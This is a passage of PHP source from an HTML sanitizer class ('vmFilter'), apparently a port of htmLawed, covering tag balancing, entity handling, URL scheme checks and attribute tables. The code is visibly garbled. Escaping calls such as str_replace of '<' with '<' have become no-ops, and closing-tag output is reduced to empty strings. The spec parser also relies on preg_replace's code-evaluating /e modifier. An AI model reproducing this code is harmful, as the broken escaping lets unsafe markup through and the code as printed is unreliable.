'menu'=>1, 'noscript'=>1, 'ol'=>1, 'optgroup'=>1, 'rbc'=>1, 'rtc'=>1, 'ruby'=>1, 'select'=>1, 'table'=>1, 'tbody'=>1, 'tfoot'=>1, 'thead'=>1, 'tr'=>1, 'ul'=>1); $cS = array('colgroup'=>array('col'=>1), 'dir'=>array('li'=>1), 'dl'=>array('dd'=>1, 'dt'=>1), 'menu'=>array('li'=>1), 'ol'=>array('li'=>1), 'optgroup'=>array('option'=>1), 'option'=>array('#pcdata'=>1), 'rbc'=>array('rb'=>1), 'rp'=>array('#pcdata'=>1), 'rtc'=>array('rt'=>1), 'ruby'=>array('rb'=>1, 'rbc'=>1, 'rp'=>1, 'rt'=>1, 'rtc'=>1), 'select'=>array('optgroup'=>1, 'option'=>1), 'script'=>array('#pcdata'=>1), 'table'=>array('caption'=>1, 'col'=>1, 'colgroup'=>1, 'tfoot'=>1, 'tbody'=>1, 'tr'=>1, 'thead'=>1), 'tbody'=>array('tr'=>1), 'tfoot'=>array('tr'=>1), 'textarea'=>array('#pcdata'=>1), 'thead'=>array('tr'=>1), 'tr'=>array('td'=>1, 'th'=>1), 'ul'=>array('li'=>1)); // Specific - immediate parent-child if(vmFilter::$C['direct_list_nest']){ $cS['ol'] = $cS['ul'] += array('ol'=>1, 'ul'=>1); } $cO = array('address'=>array('p'=>1), 'applet'=>array('param'=>1), 'blockquote'=>array('script'=>1), 'fieldset'=>array('legend'=>1, '#pcdata'=>1), 'form'=>array('script'=>1), 'map'=>array('area'=>1), 'object'=>array('param'=>1, 'embed'=>1)); // Other $cT = array('colgroup'=>1, 'dd'=>1, 'dt'=>1, 'li'=>1, 'option'=>1, 'p'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1); // Omitable closing // block/inline type; ins & del both type; #pcdata: text $eB = array('address'=>1, 'blockquote'=>1, 'center'=>1, 'del'=>1, 'dir'=>1, 'dl'=>1, 'div'=>1, 'fieldset'=>1, 'form'=>1, 'ins'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'isindex'=>1, 'menu'=>1, 'noscript'=>1, 'ol'=>1, 'p'=>1, 'pre'=>1, 'table'=>1, 'ul'=>1); $eI = array('#pcdata'=>1, 'a'=>1, 'abbr'=>1, 'acronym'=>1, 'applet'=>1, 'b'=>1, 'bdo'=>1, 'big'=>1, 'br'=>1, 'button'=>1, 'cite'=>1, 'code'=>1, 'del'=>1, 'dfn'=>1, 'em'=>1, 'embed'=>1, 'font'=>1, 'i'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'ins'=>1, 'kbd'=>1, 'label'=>1, 'map'=>1, 'object'=>1, 'q'=>1, 'ruby'=>1, 's'=>1, 'samp'=>1, 'select'=>1, 'script'=>1, 'small'=>1, 'span'=>1, 'strike'=>1, 'strong'=>1, 'sub'=>1, 'sup'=>1, 'textarea'=>1, 'tt'=>1, 'u'=>1, 'var'=>1); $eN = array('a'=>1, 'big'=>1, 'button'=>1, 'fieldset'=>1, 'font'=>1, 'form'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'label'=>1, 'object'=>1, 'ruby'=>1, 'script'=>1, 'select'=>1, 'small'=>1, 'sub'=>1, 'sup'=>1, 'textarea'=>1); // Exclude from specific ele; $cN values $eO = array('area'=>1, 'caption'=>1, 'col'=>1, 'colgroup'=>1, 'dd'=>1, 'dt'=>1, 'legend'=>1, 'li'=>1, 'optgroup'=>1, 'option'=>1, 'param'=>1, 'rb'=>1, 'rbc'=>1, 'rp'=>1, 'rt'=>1, 'rtc'=>1, 'script'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'thead'=>1, 'th'=>1, 'tr'=>1); // Missing in $eB & $eI $eF = $eB + $eI; // $in sets allowed child $in = ((isset($eF[$in]) && $in != '#pcdata') or isset($eO[$in])) ? $in : 'div'; if(isset($cE[$in])){ return (!$do ? '' : str_replace(array('<', '>'), array('<', '>'), $t)); } if(isset($cS[$in])){ $inOk = $cS[$in]; } elseif(isset($cI[$in])){ $inOk = $eI; $cI['del'] = 1; $cI['ins'] = 1; } elseif(isset($cF[$in])){ $inOk = $eF; unset($cI['del'], $cI['ins']); } elseif(isset($cB[$in])){ $inOk = $eB; unset($cI['del'], $cI['ins']); } if(isset($cO[$in])){ $inOk = $inOk + $cO[$in]; } if(isset($cN[$in])){ $inOk = array_diff_assoc($inOk, $cN[$in]); } $t = explode('<', $t); $ok = $q = array(); // $q seq list of open non-empty ele ob_start(); for($i=-1, $ci=count($t); ++$i<$ci;){ // allowed $ok in parent $p if($ql = count($q)){ $p = array_pop($q); $q[] = $p; if(isset($cS[$p])){ $ok = $cS[$p]; } elseif(isset($cI[$p])){ $ok = $eI; $cI['del'] = 1; $cI['ins'] = 1; } elseif(isset($cF[$p])){ $ok = $eF; unset($cI['del'], $cI['ins']); } elseif(isset($cB[$p])){ $ok = $eB; unset($cI['del'], $cI['ins']); } if(isset($cO[$p])){ $ok = $ok + $cO[$p]; } if(isset($cN[$p])){ $ok = array_diff_assoc($ok, $cN[$p]); } }else{$ok = $inOk; unset($cI['del'], $cI['ins']); } // bad tags, & ele content if(isset($e) && ($do == 1 or (isset($ok['#pcdata']) && ($do == 3 or $do == 5)))){ echo '<', $s, $e, $a, '>'; } if(isset($x[0])){ if($do < 3 or isset($ok['#pcdata'])){ echo $x; } elseif(strpos($x, "\x02\x04")){ foreach(preg_split('`(\x01\x02[^\x01\x02]+\x02\x01)`', $x, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY) as $v){ echo (substr($v, 0, 2) == "\x01\x02" ? $v : ($do > 4 ? preg_replace('`\S`', '', $v) : '')); } }elseif($do > 4){ echo preg_replace('`\S`', '', $x); } } // get markup if(!preg_match('`^(/?)([a-zA-Z1-6]+)([^>]*)>(.*)`sm', $t[$i], $r)){ $x = $t[$i]; continue; } $s = null; $e = null; $a = null; $x = null; list($all, $s, $e, $a, $x) = $r; // close tag if($s){ if(isset($cE[$e]) or !in_array($e, $q)){ continue; } // Empty/unopen if($p == $e){ array_pop($q); echo ''; unset($e); continue; } // Last open $add = ''; // Nesting - close open tags that need to be for($j=-1, $cj=count($q); ++$j<$cj;){ if(($d = array_pop($q)) == $e){ break; } else{$add .= ""; } } echo $add, ''; unset($e); continue; } // open tag // $cB ele needs $eB ele as child if(isset($cB[$e]) && strlen(trim($x))){ $t[$i] = "{$e}{$a}>"; array_splice($t, $i+1, 0, 'div>'. $x); unset($e, $x); ++$ci; --$i; continue; } if((($ql && isset($cB[$p])) or (isset($cB[$in]) && !$ql)) && !isset($eB[$e]) && !isset($ok[$e])){ array_splice($t, $i, 0, 'div>'); unset($e, $x); ++$ci; --$i; continue; } // if no open ele, $in = parent; mostly immediate parent-child relation should hold if(!$ql or !isset($eN[$e]) or !array_intersect($q, $cN2)){ if(!isset($ok[$e])){ if($ql && isset($cT[$p])){ echo ''; unset($e, $x); --$i; } continue; } if(!isset($cE[$e])){ $q[] = $e; } echo '<', $e, $a, '>'; unset($e); continue; } // specific parent-child if(isset($cS[$p][$e])){ if(!isset($cE[$e])){ $q[] = $e; } echo '<', $e, $a, '>'; unset($e); continue; } // nesting $add = ''; $q2 = array(); for($k=-1, $kc=count($q); ++$k<$kc;){ $d = $q[$k]; $ok2 = array(); if(isset($cS[$d])){ $q2[] = $d; continue; } $ok2 = isset($cI[$d]) ? $eI : $eF; if(isset($cO[$d])){ $ok2 = $ok2 + $cO[$d]; } if(isset($cN[$d])){ $ok2 = array_diff_assoc($ok2, $cN[$d]); } if(!isset($ok2[$e])){ if(!$k && !isset($inOk[$e])){ continue 2; } $add = ""; for(;++$k<$kc;){ $add = "{$add}"; } break; } else{$q2[] = $d; } } $q = $q2; if(!isset($cE[$e])){ $q[] = $e; } echo $add, '<', $e, $a, '>'; unset($e); continue; } // end if($ql = count($q)){ $p = array_pop($q); $q[] = $p; if(isset($cS[$p])){ $ok = $cS[$p]; } elseif(isset($cI[$p])){ $ok = $eI; $cI['del'] = 1; $cI['ins'] = 1; } elseif(isset($cF[$p])){ $ok = $eF; unset($cI['del'], $cI['ins']); } elseif(isset($cB[$p])){ $ok = $eB; unset($cI['del'], $cI['ins']); } if(isset($cO[$p])){ $ok = $ok + $cO[$p]; } if(isset($cN[$p])){ $ok = array_diff_assoc($ok, $cN[$p]); } }else{$ok = $inOk; unset($cI['del'], $cI['ins']); } if(isset($e) && ($do == 1 or (isset($ok['#pcdata']) && ($do == 3 or $do == 5)))){ echo '<', $s, $e, $a, '>'; } if(isset($x[0])){ if(strlen(trim($x)) && (($ql && isset($cB[$p])) or (isset($cB[$in]) && !$ql))){ echo '
', $x, '
'; } elseif($do < 3 or isset($ok['#pcdata'])){ echo $x; } elseif(strpos($x, "\x02\x04")){ foreach(preg_split('`(\x01\x02[^\x01\x02]+\x02\x01)`', $x, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY) as $v){ echo (substr($v, 0, 2) == "\x01\x02" ? $v : ($do > 4 ? preg_replace('`\S`', '', $v) : '')); } }elseif($do > 4){ echo preg_replace('`\S`', '', $x); } } while(!empty($q) && ($e = array_pop($q))){ echo ''; } $o = ob_get_contents(); ob_end_clean(); return $o; // eof } public static function hl_cmtcd($t){ // comment/CDATA sec handler $t = $t[0]; $C = vmFilter::$C; if(!($v = $C[$n = $t[3] == '-' ? 'comment' : 'cdata'])){ return $t; } if($v == 1){ return ''; } if($n == 'comment'){ if(substr(($t = preg_replace('`--+`', '-', substr($t, 4, -3))), -1) != ' '){ $t .= ' '; } } else{$t = substr($t, 1, -1); } $t = $v == 2 ? str_replace(array('&', '<', '>'), array('&', '<', '>'), $t) : $t; return str_replace(array('&', '<', '>'), array("\x03", "\x04", "\x05"), ($n == 'comment' ? "\x01\x02\x04!--$t--\x05\x02\x01" : "\x01\x01\x04$t\x05\x01\x01")); // eof } public static function hl_ent($t){ // entitity handler $C = vmFilter::$C; $t = $t[1]; static $U = array('quot'=>1,'amp'=>1,'lt'=>1,'gt'=>1); static $N = array('fnof'=>'402', 'Alpha'=>'913', 'Beta'=>'914', 'Gamma'=>'915', 'Delta'=>'916', 'Epsilon'=>'917', 'Zeta'=>'918', 'Eta'=>'919', 'Theta'=>'920', 'Iota'=>'921', 'Kappa'=>'922', 'Lambda'=>'923', 'Mu'=>'924', 'Nu'=>'925', 'Xi'=>'926', 'Omicron'=>'927', 'Pi'=>'928', 'Rho'=>'929', 'Sigma'=>'931', 'Tau'=>'932', 'Upsilon'=>'933', 'Phi'=>'934', 'Chi'=>'935', 'Psi'=>'936', 'Omega'=>'937', 'alpha'=>'945', 'beta'=>'946', 'gamma'=>'947', 'delta'=>'948', 'epsilon'=>'949', 'zeta'=>'950', 'eta'=>'951', 'theta'=>'952', 'iota'=>'953', 'kappa'=>'954', 'lambda'=>'955', 'mu'=>'956', 'nu'=>'957', 'xi'=>'958', 'omicron'=>'959', 'pi'=>'960', 'rho'=>'961', 'sigmaf'=>'962', 'sigma'=>'963', 'tau'=>'964', 'upsilon'=>'965', 'phi'=>'966', 'chi'=>'967', 'psi'=>'968', 'omega'=>'969', 'thetasym'=>'977', 'upsih'=>'978', 'piv'=>'982', 'bull'=>'8226', 'hellip'=>'8230', 'prime'=>'8242', 'Prime'=>'8243', 'oline'=>'8254', 'frasl'=>'8260', 'weierp'=>'8472', 'image'=>'8465', 'real'=>'8476', 'trade'=>'8482', 'alefsym'=>'8501', 'larr'=>'8592', 'uarr'=>'8593', 'rarr'=>'8594', 'darr'=>'8595', 'harr'=>'8596', 'crarr'=>'8629', 'lArr'=>'8656', 'uArr'=>'8657', 'rArr'=>'8658', 'dArr'=>'8659', 'hArr'=>'8660', 'forall'=>'8704', 'part'=>'8706', 'exist'=>'8707', 'empty'=>'8709', 'nabla'=>'8711', 'isin'=>'8712', 'notin'=>'8713', 'ni'=>'8715', 'prod'=>'8719', 'sum'=>'8721', 'minus'=>'8722', 'lowast'=>'8727', 'radic'=>'8730', 'prop'=>'8733', 'infin'=>'8734', 'ang'=>'8736', 'and'=>'8743', 'or'=>'8744', 'cap'=>'8745', 'cup'=>'8746', 'int'=>'8747', 'there4'=>'8756', 'sim'=>'8764', 'cong'=>'8773', 'asymp'=>'8776', 'ne'=>'8800', 'equiv'=>'8801', 'le'=>'8804', 'ge'=>'8805', 'sub'=>'8834', 'sup'=>'8835', 'nsub'=>'8836', 'sube'=>'8838', 'supe'=>'8839', 'oplus'=>'8853', 'otimes'=>'8855', 'perp'=>'8869', 'sdot'=>'8901', 'lceil'=>'8968', 'rceil'=>'8969', 'lfloor'=>'8970', 'rfloor'=>'8971', 'lang'=>'9001', 'rang'=>'9002', 'loz'=>'9674', 'spades'=>'9824', 'clubs'=>'9827', 'hearts'=>'9829', 'diams'=>'9830', 'apos'=>'39', 'OElig'=>'338', 'oelig'=>'339', 'Scaron'=>'352', 'scaron'=>'353', 'Yuml'=>'376', 'circ'=>'710', 'tilde'=>'732', 'ensp'=>'8194', 'emsp'=>'8195', 'thinsp'=>'8201', 'zwnj'=>'8204', 'zwj'=>'8205', 'lrm'=>'8206', 'rlm'=>'8207', 'ndash'=>'8211', 'mdash'=>'8212', 'lsquo'=>'8216', 'rsquo'=>'8217', 'sbquo'=>'8218', 'ldquo'=>'8220', 'rdquo'=>'8221', 'bdquo'=>'8222', 'dagger'=>'8224', 'Dagger'=>'8225', 'permil'=>'8240', 'lsaquo'=>'8249', 'rsaquo'=>'8250', 'euro'=>'8364', 'nbsp'=>'160', 'iexcl'=>'161', 'cent'=>'162', 'pound'=>'163', 'curren'=>'164', 'yen'=>'165', 'brvbar'=>'166', 'sect'=>'167', 'uml'=>'168', 'copy'=>'169', 'ordf'=>'170', 'laquo'=>'171', 'not'=>'172', 'shy'=>'173', 'reg'=>'174', 'macr'=>'175', 'deg'=>'176', 'plusmn'=>'177', 'sup2'=>'178', 'sup3'=>'179', 'acute'=>'180', 'micro'=>'181', 'para'=>'182', 'middot'=>'183', 'cedil'=>'184', 'sup1'=>'185', 'ordm'=>'186', 'raquo'=>'187', 'frac14'=>'188', 'frac12'=>'189', 'frac34'=>'190', 'iquest'=>'191', 'Agrave'=>'192', 'Aacute'=>'193', 'Acirc'=>'194', 'Atilde'=>'195', 'Auml'=>'196', 'Aring'=>'197', 'AElig'=>'198', 'Ccedil'=>'199', 'Egrave'=>'200', 'Eacute'=>'201', 'Ecirc'=>'202', 'Euml'=>'203', 'Igrave'=>'204', 'Iacute'=>'205', 'Icirc'=>'206', 'Iuml'=>'207', 'ETH'=>'208', 'Ntilde'=>'209', 'Ograve'=>'210', 'Oacute'=>'211', 'Ocirc'=>'212', 'Otilde'=>'213', 'Ouml'=>'214', 'times'=>'215', 'Oslash'=>'216', 'Ugrave'=>'217', 'Uacute'=>'218', 'Ucirc'=>'219', 'Uuml'=>'220', 'Yacute'=>'221', 'THORN'=>'222', 'szlig'=>'223', 'agrave'=>'224', 'aacute'=>'225', 'acirc'=>'226', 'atilde'=>'227', 'auml'=>'228', 'aring'=>'229', 'aelig'=>'230', 'ccedil'=>'231', 'egrave'=>'232', 'eacute'=>'233', 'ecirc'=>'234', 'euml'=>'235', 'igrave'=>'236', 'iacute'=>'237', 'icirc'=>'238', 'iuml'=>'239', 'eth'=>'240', 'ntilde'=>'241', 'ograve'=>'242', 'oacute'=>'243', 'ocirc'=>'244', 'otilde'=>'245', 'ouml'=>'246', 'divide'=>'247', 'oslash'=>'248', 'ugrave'=>'249', 'uacute'=>'250', 'ucirc'=>'251', 'uuml'=>'252', 'yacute'=>'253', 'thorn'=>'254', 'yuml'=>'255'); if($t[0] != '#'){ return ($C['and_mark'] ? "\x06" : '&'). (isset($U[$t]) ? $t : (isset($N[$t]) ? (!$C['named_entity'] ? '#'. ($C['hexdec_entity'] > 1 ? 'x'. dechex($N[$t]) : $N[$t]) : $t) : 'amp;'. $t)). ';'; } if(($n = ctype_digit($t = substr($t, 1)) ? intval($t) : hexdec(substr($t, 1))) < 9 or ($n > 13 && $n < 32) or $n == 11 or $n == 12 or ($n > 126 && $n < 160 && $n != 133) or ($n > 55295 && ($n < 57344 or ($n > 64975 && $n < 64992) or $n == 65534 or $n == 65535 or $n > 1114111))){ return ($C['and_mark'] ? "\x06" : '&'). "amp;#{$t};"; } return ($C['and_mark'] ? "\x06" : '&'). '#'. (((ctype_digit($t) && $C['hexdec_entity'] < 2) or !$C['hexdec_entity']) ? $n : 'x'. dechex($n)). ';'; // eof } public static function hl_prot($p, $c=null){ // check URL scheme $C = vmFilter::$C; $b = $a = ''; if($c == null){ $c = 'style'; $b = $p[1]; $a = $p[3]; $p = trim($p[2]); } $c = isset($C['schemes'][$c]) ? $C['schemes'][$c] : $C['schemes']['*']; static $d = 'denied:'; if(isset($c['!']) && substr($p, 0, 7) != $d){ $p = "$d$p"; } if(isset($c['*']) or !strcspn($p, '#?;') or (substr($p, 0, 7) == $d)){ return "{$b}{$p}{$a}"; } // All ok, frag, query, param if(preg_match('`^([a-z\d\-+.&#; ]+?)(:|&#(58|x3a);|%3a|\\\\0{0,4}3a).`i', $p, $m) && !isset($c[strtolower($m[1])])){ // Denied prot return "{$b}{$d}{$p}{$a}"; } if($C['abs_url']){ if($C['abs_url'] == -1 && strpos($p, $C['base_url']) === 0){ // Make url rel $p = substr($p, strlen($C['base_url'])); }elseif(empty($m[1])){ // Make URL abs if(substr($p, 0, 2) == '//'){ $p = substr($C['base_url'], 0, strpos($C['base_url'], ':')+1). $p; } elseif($p[0] == '/'){ $p = preg_replace('`(^.+?://[^/]+)(.*)`', '$1', $C['base_url']). $p; } elseif(strcspn($p, './')){ $p = $C['base_url']. $p; } else{ preg_match('`^([a-zA-Z\d\-+.]+://[^/]+)(.*)`', $C['base_url'], $m); $p = preg_replace('`(?<=/)\./`', '', $m[2]. $p); while(preg_match('`(?<=/)([^/]{3,}|[^/.]+?|\.[^/.]|[^/.]\.)/\.\./`', $p)){ $p = preg_replace('`(?<=/)([^/]{3,}|[^/.]+?|\.[^/.]|[^/.]\.)/\.\./`', '', $p); } $p = $m[1]. $p; } } } return "{$b}{$p}{$a}"; // eof } public static function hl_regex($p){ // ?regex if(empty($p)){ return 0; } if($t = ini_get('track_errors')){ $o = isset($php_errormsg) ? $php_errormsg : null; } else{ini_set('track_errors', 1); } unset($php_errormsg); if(($d = ini_get('display_errors'))){ ini_set('display_errors', 0); } preg_match($p, ''); if($d){ ini_set('display_errors', 1); } $r = isset($php_errormsg) ? 0 : 1; if($t){ $php_errormsg = isset($o) ? $o : null; } else{ini_set('track_errors', 0); } return $r; // eof } public static function hl_spec($t){ // final $spec $s = array(); $t = str_replace(array("\t", "\r", "\n", ' '), '', preg_replace('/"(?>(`.|[^"])*)"/sme', 'substr(str_replace(array(";", "|", "~", " ", ",", "/", "(", ")", \'`"\'), array("\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08", "\""), "$0"), 1, -1)', trim($t))); for($i = count(($t = explode(';', $t))); --$i>=0;){ $w = $t[$i]; if(empty($w) or ($e = strpos($w, '=')) === false or !strlen(($a = substr($w, $e+1)))){ continue; } $y = $n = array(); foreach(explode(',', $a) as $v){ if(!preg_match('`^([a-z:\-\*]+)(?:\((.*?)\))?`i', $v, $m)){ continue; } if(($x = strtolower($m[1])) == '-*'){ $n['*'] = 1; continue; } if($x[0] == '-'){ $n[substr($x, 1)] = 1; continue; } if(!isset($m[2])){ $y[$x] = 1; continue; } foreach(explode('/', $m[2]) as $m){ if(empty($m) or ($p = strpos($m, '=')) == 0 or $p < 5){ $y[$x] = 1; continue; } $y[$x][strtolower(substr($m, 0, $p))] = str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08"), array(";", "|", "~", " ", ",", "/", "(", ")"), substr($m, $p+1)); } if(isset($y[$x]['match']) && !vmFilter::hl_regex($y[$x]['match'])){ unset($y[$x]['match']); } if(isset($y[$x]['nomatch']) && !vmFilter::hl_regex($y[$x]['nomatch'])){ unset($y[$x]['nomatch']); } } if(!count($y) && !count($n)){ continue; } foreach(explode(',', substr($w, 0, $e)) as $v){ if(!strlen(($v = strtolower($v)))){ continue; } if(count($y)){ $s[$v] = $y; } if(count($n)){ $s[$v]['n'] = $n; } } } return $s; // eof } public static function hl_tag($t){ // tag/attribute handler $C = vmFilter::$C; $t = $t[0]; // invalid < > if($t == '< '){ return '< '; } if($t == '>'){ return '>'; } if(!preg_match('`^<(/?)([a-zA-Z][a-zA-Z1-6]*)([^>]*?)\s?>$`m', $t, $m)){ return str_replace(array('<', '>'), array('<', '>'), $t); }elseif(!isset($C['elements'][($e = strtolower($m[2]))])){ return (($C['keep_bad']%2) ? str_replace(array('<', '>'), array('<', '>'), $t) : ''); } // attr string $a = str_replace(array("\n", "\r", "\t"), ' ', trim($m[3])); // tag transform static $eD = array('applet'=>1, 'center'=>1, 'dir'=>1, 'embed'=>1, 'font'=>1, 'isindex'=>1, 'menu'=>1, 's'=>1, 'strike'=>1, 'u'=>1); // Deprecated if($C['make_tag_strict'] && isset($eD[$e])){ $trt = vmFilter::hl_tag2($e, $a, $C['make_tag_strict']); if(!$e){ return (($C['keep_bad']%2) ? str_replace(array('<', '>'), array('<', '>'), $t) : ''); } } // close tag static $eE = array('area'=>1, 'br'=>1, 'col'=>1, 'embed'=>1, 'hr'=>1, 'img'=>1, 'input'=>1, 'isindex'=>1, 'param'=>1); // Empty ele if(!empty($m[1])){ return (!isset($eE[$e]) ? "" : (($C['keep_bad'])%2 ? str_replace(array('<', '>'), array('<', '>'), $t) : '')); } // open tag & attr static $aN = array('abbr'=>array('td'=>1, 'th'=>1), 'accept-charset'=>array('form'=>1), 'accept'=>array('form'=>1, 'input'=>1), 'accesskey'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'label'=>1, 'legend'=>1, 'textarea'=>1), 'action'=>array('form'=>1), 'align'=>array('caption'=>1, 'embed'=>1, 'applet'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'object'=>1, 'legend'=>1, 'table'=>1, 'hr'=>1, 'div'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'p'=>1, 'col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'alt'=>array('applet'=>1, 'area'=>1, 'img'=>1, 'input'=>1), 'archive'=>array('applet'=>1, 'object'=>1), 'axis'=>array('td'=>1, 'th'=>1), 'bgcolor'=>array('embed'=>1, 'table'=>1, 'tr'=>1, 'td'=>1, 'th'=>1), 'border'=>array('table'=>1, 'img'=>1, 'object'=>1), 'bordercolor'=>array('table'=>1, 'td'=>1, 'tr'=>1), 'cellpadding'=>array('table'=>1), 'cellspacing'=>array('table'=>1), 'char'=>array('col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'charoff'=>array('col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'charset'=>array('a'=>1, 'script'=>1), 'checked'=>array('input'=>1), 'cite'=>array('blockquote'=>1, 'q'=>1, 'del'=>1, 'ins'=>1), 'classid'=>array('object'=>1), 'clear'=>array('br'=>1), 'code'=>array('applet'=>1), 'codebase'=>array('object'=>1, 'applet'=>1), 'codetype'=>array('object'=>1), 'color'=>array('font'=>1), 'cols'=>array('textarea'=>1), 'colspan'=>array('td'=>1, 'th'=>1), 'compact'=>array('dir'=>1, 'dl'=>1, 'menu'=>1, 'ol'=>1, 'ul'=>1), 'coords'=>array('area'=>1, 'a'=>1), 'data'=>array('object'=>1), 'datetime'=>array('del'=>1, 'ins'=>1), 'declare'=>array('object'=>1), 'defer'=>array('script'=>1), 'dir'=>array('bdo'=>1), 'disabled'=>array('button'=>1, 'input'=>1, 'optgroup'=>1, 'option'=>1, 'select'=>1, 'textarea'=>1), 'enctype'=>array('form'=>1), 'face'=>array('font'=>1), 'for'=>array('label'=>1), 'frame'=>array('table'=>1), 'frameborder'=>array('iframe'=>1), 'headers'=>array('td'=>1, 'th'=>1), 'height'=>array('embed'=>1, 'iframe'=>1, 'td'=>1, 'th'=>1, 'img'=>1, 'object'=>1, 'applet'=>1), 'href'=>array('a'=>1, 'area'=>1), 'hreflang'=>array('a'=>1), 'hspace'=>array('applet'=>1, 'img'=>1, 'object'=>1), 'ismap'=>array('img'=>1, 'input'=>1), 'label'=>array('option'=>1, 'optgroup'=>1), 'language'=>array('script'=>1), 'longdesc'=>array('img'=>1, 'iframe'=>1), 'marginheight'=>array('iframe'=>1), 'marginwidth'=>array('iframe'=>1), 'maxlength'=>array('input'=>1), 'method'=>array('form'=>1), 'model'=>array('embed'=>1), 'multiple'=>array('select'=>1), 'name'=>array('button'=>1, 'embed'=>1, 'textarea'=>1, 'applet'=>1, 'select'=>1, 'form'=>1, 'iframe'=>1, 'img'=>1, 'a'=>1, 'input'=>1, 'object'=>1, 'map'=>1, 'param'=>1), 'nohref'=>array('area'=>1), 'noshade'=>array('hr'=>1), 'nowrap'=>array('td'=>1, 'th'=>1), 'object'=>array('applet'=>1), 'onblur'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'label'=>1, 'select'=>1, 'textarea'=>1), 'onchange'=>array('input'=>1, 'select'=>1, 'textarea'=>1), 'onfocus'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'label'=>1, 'select'=>1, 'textarea'=>1), 'onreset'=>array('form'=>1), 'onselect'=>array('input'=>1, 'textarea'=>1), 'onsubmit'=>array('form'=>1), 'pluginspage'=>array('embed'=>1), 'pluginurl'=>array('embed'=>1), 'prompt'=>array('isindex'=>1), 'readonly'=>array('textarea'=>1, 'input'=>1), 'rel'=>array('a'=>1), 'rev'=>array('a'=>1), 'rows'=>array('textarea'=>1), 'rowspan'=>array('td'=>1, 'th'=>1), 'rules'=>array('table'=>1), 'scope'=>array('td'=>1, 'th'=>1), 'scrolling'=>array('iframe'=>1), 'selected'=>array('option'=>1), 'shape'=>array('area'=>1, 'a'=>1), 'size'=>array('hr'=>1, 'font'=>1, 'input'=>1, 'select'=>1), 'span'=>array('col'=>1, 'colgroup'=>1), 'src'=>array('embed'=>1, 'script'=>1, 'input'=>1, 'iframe'=>1, 'img'=>1), 'standby'=>array('object'=>1), 'start'=>array('ol'=>1), 'summary'=>array('table'=>1), 'tabindex'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'object'=>1, 'select'=>1, 'textarea'=>1), 'target'=>array('a'=>1, 'area'=>1, 'form'=>1), 'type'=>array('a'=>1, 'embed'=>1, 'object'=>1, 'param'=>1, 'script'=>1, 'input'=>1, 'li'=>1, 'ol'=>1, 'ul'=>1, 'button'=>1), 'usemap'=>array('img'=>1, 'input'=>1, 'object'=>1), 'valign'=>array('col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'value'=>array('input'=>1, 'option'=>1, 'param'=>1, 'button'=>1, 'li'=>1), 'valuetype'=>array('param'=>1), 'vspace'=>array('applet'=>1, 'img'=>1, 'object'=>1), 'width'=>array('embed'=>1, 'hr'=>1, 'iframe'=>1, 'img'=>1, 'object'=>1, 'table'=>1, 'td'=>1, 'th'=>1, 'applet'=>1, 'col'=>1, 'colgroup'=>1, 'pre'=>1), 'wmode'=>array('embed'=>1), 'xml:space'=>array('pre'=>1, 'script'=>1, 'style'=>1)); // Ele-specific static $aNE = array('checked'=>1, 'compact'=>1, 'declare'=>1, 'defer'=>1, 'disabled'=>1, 'ismap'=>1, 'multiple'=>1, 'nohref'=>1, 'noresize'=>1, 'noshade'=>1, 'nowrap'=>1, 'readonly'=>1, 'selected'=>1); // Empty static $aNP = array('action'=>1, 'cite'=>1, 'classid'=>1, 'codebase'=>1, 'data'=>1, 'href'=>1, 'longdesc'=>1, 'model'=>1, 'pluginspage'=>1, 'pluginurl'=>1, 'usemap'=>1); // Need scheme check; excludes style, on* & src static $aNU = array('class'=>array('param'=>1, 'script'=>1), 'dir'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'iframe'=>1, 'param'=>1, 'script'=>1), 'id'=>array('script'=>1), 'lang'=>array('applet'=>1, 'br'=>1, 'iframe'=>1, 'param'=>1, 'script'=>1), 'xml:lang'=>array('applet'=>1, 'br'=>1, 'iframe'=>1, 'param'=>1, 'script'=>1), 'onclick'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'ondblclick'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onkeydown'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onkeypress'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onkeyup'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmousedown'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmousemove'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 